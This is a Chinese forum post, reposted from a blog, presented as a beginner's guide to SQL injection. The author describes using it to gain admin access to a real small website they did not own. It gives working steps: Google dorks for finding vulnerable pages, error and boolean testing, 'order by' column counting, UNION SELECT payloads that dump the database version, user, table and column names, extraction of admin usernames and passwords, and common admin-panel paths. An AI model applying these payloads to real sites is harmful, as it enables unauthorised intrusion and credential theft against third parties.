张颢镡 发表于 2018-10-19 07:43:56

新手学习SQL 注入式***

  2天以前,俺对于SQL注入式***仅仅是有个理论的概念,昨天上班无聊,随手搜索了一下相关的文档,做了个小练习,结果成功获取了某小网站的管理员权限,现在分享一下学习心得。
  第一步:搜索可能有漏洞的网站
  Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:
  inurl:index.php?id=
  inurl:gallery.php?id=
  inurl:article.php?id=
  inurl:pageid=
  网上有个术语,把这些称作“Google Dorks”
  如果想针对某个特定的网站,可以用类似的格式搜索:site: http:// www.victimsite.cominurl:php?id=
  第二步:检测一下目标是否有明显漏洞
  搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
  例如http:// www.victimsite.com /index.php?id=2'
  经过5分钟的随意搜索和测试,俺找到一个学习的目标~
  正常界面是这样的,

  但是等我输入单引号,同样的界面就变成了

  当我加上and 1=2 之后呢变成了

  Good!很明显,对于不同的SQL语句有不同的反馈,有门!
  第三步:看看该表有多少个字段
  
  这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段
  比如当我输入1-4的时候是这个界面
  

  输入5就变成了

  很好,那说明这个表就只有4个字段。
  第四步:找到有漏洞的字段
  
  如果字段数目是7,那么可以用以下方式,注意数字改成负数
  http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—
  或者
  http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—
  以我的***目标为例

  很好,说明字段2有漏洞
  第五步:找到对应的版本号,数据库和用户
  
  把上面的2换成对应的version(),database()和user()即可,例如
  http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—
  http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—
  http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—
  我的执行结果是



  第六步:看看这个数据库下有哪些表
  
  用group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables where table_schema=database()
  例如:http://www.victimsite.com/index.php?id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere table_schema=database()—
  执行结果如下:

  
  第七步:找到表里的字段名称
  
  把"from information_schema.tables where table_schema=database()--" 替换成"FROMinformation_schema.columns WHERE table_name=mysqlchar—
  然后在firefox上安装一个插件HackBar
  装好以后界面如下

  选择Sql->Mysql->MysqlChar(),然后输入你想查询的表名

  将生成的结果替换到mysqlchar
  http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns wheretable_name=CHAR(97, 100,109, 105, 110)--

  成功的获取字段名称!
  第八步:查询表获得账户信息
  用group_concat(columnname1,0x3a,anothercolumnname2).来替换之前的字段
  http://www.victimsite.com/index.php?id=-2
  and 1=2 unionselect 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin—
  例如

  第九步:找到管理员版面登录
  一般可能在以下地方存在
  http://www.victimsite.com/admin.php
  http://www.victimsite.com/admin/
  http://www.victimsite.com/admin.html
  http://www.victimsite.com:2082/

  到此为止,俺的第一个sql注入式***的测试成功~
  转载自beanxyz的博客

页: [1]
查看完整版本: 新手学习SQL 注入式***